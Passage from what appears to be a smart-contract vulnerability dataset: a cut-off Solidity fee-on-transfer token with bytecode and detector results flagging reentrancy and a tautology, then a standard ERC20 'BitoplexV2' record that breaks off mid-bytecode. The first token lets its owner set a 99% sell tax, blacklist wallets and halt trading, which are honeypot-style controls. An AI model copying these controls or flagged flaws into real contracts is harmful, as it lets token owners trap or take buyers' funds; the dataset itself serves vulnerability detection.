_isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy reflection"); require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy tax"); require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell reflection"); require(taxFeeOnSell >= 0 && taxFeeOnSell <= 99, "Sell tax"); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { if (maxTxAmount > 5000000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055c578063dd62ed3e1461057c578063ea1644d5146105c2578063f2fde38b146105e257600080fd5b8063a2a957bb146104d7578063a9059cbb146104f7578063bfd7928414610517578063c3c8cd801461054757600080fd5b80638f70ccf7116100d15780638f70ccf7146104505780638f9a55c01461047057806395d89b411461048657806398a5c315146104b757600080fd5b80637d1db4a5146103ef5780637f2feddc146104055780638da5cb5b1461043257600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038557806370a082311461039a578063715018a6146103ba57806374010ece146103cf57600080fd5b8063313ce5671461030957806349bd5a5e146103255780636b999053146103455780636d8aa8f81461036557600080fd5b80631694505e116101ab5780631694505e1461027557806318160ddd146102ad57806323b872dd146102d35780632fd689e3146102f357600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024557600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611a74565b610602565b005b34801561020a57600080fd5b5060408051808201909152600c81526b4761736c6967687420496e7560a01b60208201525b60405161023c9190611b39565b60405180910390f35b34801561025157600080fd5b50610265610260366004611b8e565b6106a1565b604051901515815260200161023c565b34801561028157600080fd5b50601454610295906001600160a01b031681565b6040516001600160a01b03909116815260200161023c565b3480156102b957600080fd5b50683635c9adc5dea000005b60405190815260200161023c565b3480156102df57600080fd5b506102656102ee366004611bba565b6106b8565b3480156102ff57600080fd5b506102c560185481565b34801561031557600080fd5b506040516009815260200161023c565b34801561033157600080fd5b50601554610295906001600160a01b031681565b34801561035157600080fd5b506101fc610360366004611bfb565b610721565b34801561037157600080fd5b506101fc610380366004611c28565b61076c565b34801561039157600080fd5b506101fc6107b4565b3480156103a657600080fd5b506102c56103b5366004611bfb565b6107ff565b3480156103c657600080fd5b506101fc610821565b3480156103db57600080fd5b506101fc6103ea366004611c43565b610895565b3480156103fb57600080fd5b506102c560165481565b34801561041157600080fd5b506102c5610420366004611bfb565b60116020526000908152604090205481565b34801561043e57600080fd5b506000546001600160a01b0316610295565b34801561045c57600080fd5b506101fc61046b366004611c28565b6108d4565b34801561047c57600080fd5b506102c560175481565b34801561049257600080fd5b5060408051808201909152600881526711d054d31251d21560c21b602082015261022f565b3480156104c357600080fd5b506101fc6104d2366004611c43565b61091c565b3480156104e357600080fd5b506101fc6104f2366004611c5c565b61094b565b34801561050357600080fd5b50610265610512366004611b8e565b610a85565b34801561052357600080fd5b50610265610532366004611bfb565b60106020526000908152604090205460ff1681565b34801561055357600080fd5b506101fc610a92565b34801561056857600080fd5b506101fc610577366004611c8e565b610ae6565b34801561058857600080fd5b506102c5610597366004611d12565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ce57600080fd5b506101fc6105dd366004611c43565b610b87565b3480156105ee57600080fd5b506101fc6105fd366004611bfb565b610bb6565b6000546001600160a01b031633146106355760405162461bcd60e51b815260040161062c90611d4b565b60405180910390fd5b60005b815181101561069d5760016010600084848151811061065957610659611d80565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069581611dac565b915050610638565b5050565b60006106ae338484610ca0565b5060015b92915050565b60006106c5848484610dc4565b610717843361071285604051806060016040528060288152602001611ec6602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611300565b610ca0565b5060019392505050565b6000546001600160a01b0316331461074b5760405162461bcd60e51b815260040161062c90611d4b565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107965760405162461bcd60e51b815260040161062c90611d4b565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e957506013546001600160a01b0316336001600160a01b0316145b6107f257600080fd5b476107fc8161133a565b50565b6001600160a01b0381166000908152600260205260408120546106b290611374565b6000546001600160a01b0316331461084b5760405162461bcd60e51b815260040161062c90611d4b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bf5760405162461bcd60e51b815260040161062c90611d4b565b674563918244f400008111156107fc57601655565b6000546001600160a01b031633146108fe5760405162461bcd60e51b815260040161062c90611d4b565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109465760405162461bcd60e51b815260040161062c90611d4b565b601855565b6000546001600160a01b031633146109755760405162461bcd60e51b815260040161062c90611d4b565b60048411156109b75760405162461bcd60e51b815260206004820152600e60248201526d213abc903932b33632b1ba34b7b760911b604482015260640161062c565b60148211156109f25760405162461bcd60e51b8152602060048201526007602482015266084eaf240e8c2f60cb1b604482015260640161062c565b6004831115610a355760405162461bcd60e51b815260206004820152600f60248201526e29b2b636103932b33632b1ba34b7b760891b604482015260640161062c565b6063811115610a715760405162461bcd60e51b81526020600482015260086024820152670a6cad8d840e8c2f60c31b604482015260640161062c565b600893909355600a91909155600955600b55565b60006106ae338484610dc4565b6012546001600160a01b0316336001600160a01b03161480610ac757506013546001600160a01b0316336001600160a01b0316145b610ad057600080fd5b6000610adb306107ff565b90506107fc816113f8565b6000546001600160a01b03163314610b105760405162461bcd60e51b815260040161062c90611d4b565b60005b82811015610b81578160056000868685818110610b3257610b32611d80565b9050602002016020810190610b479190611bfb565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610b7981611dac565b915050610b13565b50505050565b6000546001600160a01b03163314610bb15760405162461bcd60e51b815260040161062c90611d4b565b601755565b6000546001600160a01b03163314610be05760405162461bcd60e51b815260040161062c90611d4b565b6001600160a01b038116610c455760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062c565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d025760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062c565b6001600160a01b038216610d635760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e285760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062c565b6001600160a01b038216610e8a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062c565b60008111610eec5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062c565b6000546001600160a01b03848116911614801590610f1857506000546001600160a01b03838116911614155b156111f957601554600160a01b900460ff16610fb1576000546001600160a01b03848116911614610fb15760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062c565b6016548111156110035760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062c565b6001600160a01b03831660009081526010602052604090205460ff1615801561104557506001600160a01b03821660009081526010602052604090205460ff16155b61109d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062c565b6015546001600160a01b0383811691161461112257601754816110bf846107ff565b6110c99190611dc7565b106111225760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062c565b600061112d306107ff565b6018546016549192508210159082106111465760165491505b80801561115d5750601554600160a81b900460ff16155b801561117757506015546001600160a01b03868116911614155b801561118c5750601554600160b01b900460ff165b80156111b157506001600160a01b03851660009081526005602052604090205460ff16155b80156111d657506001600160a01b03841660009081526005602052604090205460ff16155b156111f6576111e4826113f8565b4780156111f4576111f44761133a565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061123b57506001600160a01b03831660009081526005602052604090205460ff165b8061126d57506015546001600160a01b0385811691161480159061126d57506015546001600160a01b03848116911614155b1561127a575060006112f4565b6015546001600160a01b0385811691161480156112a557506014546001600160a01b03848116911614155b156112b757600854600c55600954600d555b6015546001600160a01b0384811691161480156112e257506014546001600160a01b03858116911614155b156112f457600a54600c55600b54600d555b610b8184848484611581565b600081848411156113245760405162461bcd60e51b815260040161062c9190611b39565b5060006113318486611ddf565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069d573d6000803e3d6000fd5b60006006548211156113db5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062c565b60006113e56115af565b90506113f183826115d2565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061144057611440611d80565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561149457600080fd5b505afa1580156114a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114cc9190611df6565b816001815181106114df576114df611d80565b6001600160a01b0392831660209182029290920101526014546115059130911684610ca0565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061153e908590600090869030904290600401611e13565b600060405180830381600087803b15801561155857600080fd5b505af115801561156c573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061158e5761158e611614565b611599848484611642565b80610b8157610b81600e54600c55600f54600d55565b60008060006115bc611739565b90925090506115cb82826115d2565b9250505090565b60006113f183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061177b565b600c541580156116245750600d54155b1561162b57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611654876117a9565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116869087611806565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116b59086611848565b6001600160a01b0389166000908152600260205260409020556116d7816118a7565b6116e184836118f1565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161172691815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061175582826115d2565b82101561177257505060065492683635c9adc5dea0000092509050565b90939092509050565b6000818361179c5760405162461bcd60e51b815260040161062c9190611b39565b5060006113318486611e84565b60008060008060008060008060006117c68a600c54600d54611915565b92509250925060006117d66115af565b905060008060006117e98e87878761196a565b919e509c509a509598509396509194505050505091939550919395565b60006113f183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611300565b6000806118558385611dc7565b9050838110156113f15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062c565b60006118b16115af565b905060006118bf83836119ba565b306000908152600260205260409020549091506118dc9082611848565b30600090815260026020526040902055505050565b6006546118fe9083611806565b60065560075461190e9082611848565b6007555050565b600080808061192f606461192989896119ba565b906115d2565b9050600061194260646119298a896119ba565b9050600061195a826119548b86611806565b90611806565b9992985090965090945050505050565b600080808061197988866119ba565b9050600061198788876119ba565b9050600061199588886119ba565b905060006119a7826119548686611806565b939b939a50919850919650505050505050565b6000826119c9575060006106b2565b60006119d58385611ea6565b9050826119e28583611e84565b146113f15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062c565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fc57600080fd5b8035611a6f81611a4f565b919050565b60006020808385031215611a8757600080fd5b823567ffffffffffffffff80821115611a9f57600080fd5b818501915085601f830112611ab357600080fd5b813581811115611ac557611ac5611a39565b8060051b604051601f19603f83011681018181108582111715611aea57611aea611a39565b604052918252848201925083810185019188831115611b0857600080fd5b938501935b82851015611b2d57611b1e85611a64565b84529385019392850192611b0d565b98975050505050505050565b600060208083528351808285015260005b81811015611b6657858101830151858201604001528201611b4a565b81811115611b78576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611ba157600080fd5b8235611bac81611a4f565b946020939093013593505050565b600080600060608486031215611bcf57600080fd5b8335611bda81611a4f565b92506020840135611bea81611a4f565b929592945050506040919091013590565b600060208284031215611c0d57600080fd5b81356113f181611a4f565b80358015158114611a6f57600080fd5b600060208284031215611c3a57600080fd5b6113f182611c18565b600060208284031215611c5557600080fd5b5035919050565b60008060008060808587031215611c7257600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611ca357600080fd5b833567ffffffffffffffff80821115611cbb57600080fd5b818601915086601f830112611ccf57600080fd5b813581811115611cde57600080fd5b8760208260051b8501011115611cf357600080fd5b602092830195509350611d099186019050611c18565b90509250925092565b60008060408385031215611d2557600080fd5b8235611d3081611a4f565b91506020830135611d4081611a4f565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611dc057611dc0611d96565b5060010190565b60008219821115611dda57611dda611d96565b500190565b600082821015611df157611df1611d96565b500390565b600060208284031215611e0857600080fd5b81516113f181611a4f565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e635784516001600160a01b031683529383019391830191600101611e3e565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611ea157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611ec057611ec0611d96565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220750f19f37d110bcf49ccb1d71f4f18ea18e2c179f11cb92c65d4e959f2b5019364736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
4,853
0xeb2447e7744ab62bf423e24b6a2688bf86e07bb7
pragma solidity ^0.5.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library Roles { struct Role { mapping (address => bool) bearer; } function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } contract MinterRole { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private _minters; constructor () internal { _addMinter(msg.sender); } modifier onlyMinter() { require(isMinter(msg.sender), "MinterRole: caller does not have the Minter role"); _; } function isMinter(address account) public view returns (bool) { return _minters.has(account); } function addMinter(address account) public onlyMinter { _addMinter(account); } function renounceMinter() public { _removeMinter(msg.sender); } function _addMinter(address account) internal { _minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { _minters.remove(account); emit MinterRemoved(account); } } contract ERC20Mintable is ERC20, MinterRole { function mint(address account, uint256 amount) public onlyMinter returns (bool) { _mint(account, amount); return true; } } contract ERC20Burnable is ERC20 { function burn(uint256 amount) public { _burn(msg.sender, amount); } function burnFrom(address account, uint256 amount) public { _burnFrom(account, amount); } } contract Context { constructor () internal { } function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; return msg.data; } } contract PauserRole is Context { using Roles for Roles.Role; event PauserAdded(address indexed account); event PauserRemoved(address indexed account); Roles.Role private _pausers; constructor () internal { _addPauser(_msgSender()); } modifier onlyPauser() { require(isPauser(_msgSender()), "PauserRole: caller does not have the Pauser role"); _; } function isPauser(address account) public view returns (bool) { return _pausers.has(account); } function addPauser(address account) public onlyPauser { _addPauser(account); } function renouncePauser() public { _removePauser(_msgSender()); } function _addPauser(address account) internal { _pausers.add(account); emit PauserAdded(account); } function _removePauser(address account) internal { _pausers.remove(account); emit PauserRemoved(account); } } contract Pausable is Context, PauserRole { event Paused(address account); event Unpaused(address account); bool private _paused; constructor () internal { _paused = false; } function paused() public view returns (bool) { return _paused; } modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(_msgSender()); } function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(_msgSender()); } } contract ERC20Pausable is ERC20, Pausable { function transfer(address to, uint256 value) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } function approve(address spender, uint256 value) public whenNotPaused returns (bool) { return super.approve(spender, value); } function increaseAllowance(address spender, uint256 addedValue) public whenNotPaused returns (bool) { return super.increaseAllowance(spender, addedValue); } function decreaseAllowance(address spender, uint256 subtractedValue) public whenNotPaused returns (bool) { return super.decreaseAllowance(spender, subtractedValue); } } contract BitoplexV2 is ERC20, ERC20Detailed, ERC20Mintable, ERC20Burnable, ERC20Pausable { constructor () public ERC20Detailed("Bitoplex", "BPLX", 18) { _mint(msg.sender, 300000000 * (10 ** uint256(decimals()))); } }
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c80636ef8d66d116100c3578063983b2d561161007c578063983b2d5614610606578063986502751461064a578063a457c2d714610654578063a9059cbb146106ba578063aa271e1a14610720578063dd62ed3e1461077c5761014d565b80636ef8d66d1461048557806370a082311461048f57806379cc6790146104e757806382dc1ec4146105355780638456cb591461057957806395d89b41146105835761014d565b8063395093511161011557806339509351146103035780633f4ba83a1461036957806340c10f191461037357806342966c68146103d957806346fbf68e146104075780635c975abb146104635761014d565b806306fdde0314610152578063095ea7b3146101d557806318160ddd1461023b57806323b872dd14610259578063313ce567146102df575b600080fd5b61015a6107f4565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019a57808201518184015260208101905061017f565b50505050905090810190601f1680156101c75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610221600480360360408110156101eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610896565b604051808215151515815260200191505060405180910390f35b61024361092d565b6040518082815260200191505060405180910390f35b6102c56004803603606081101561026f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610937565b604051808215151515815260200191505060405180910390f35b6102e76109d0565b604051808260ff1660ff16815260200191505060405180910390f35b61034f6004803603604081101561031957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109e7565b60405180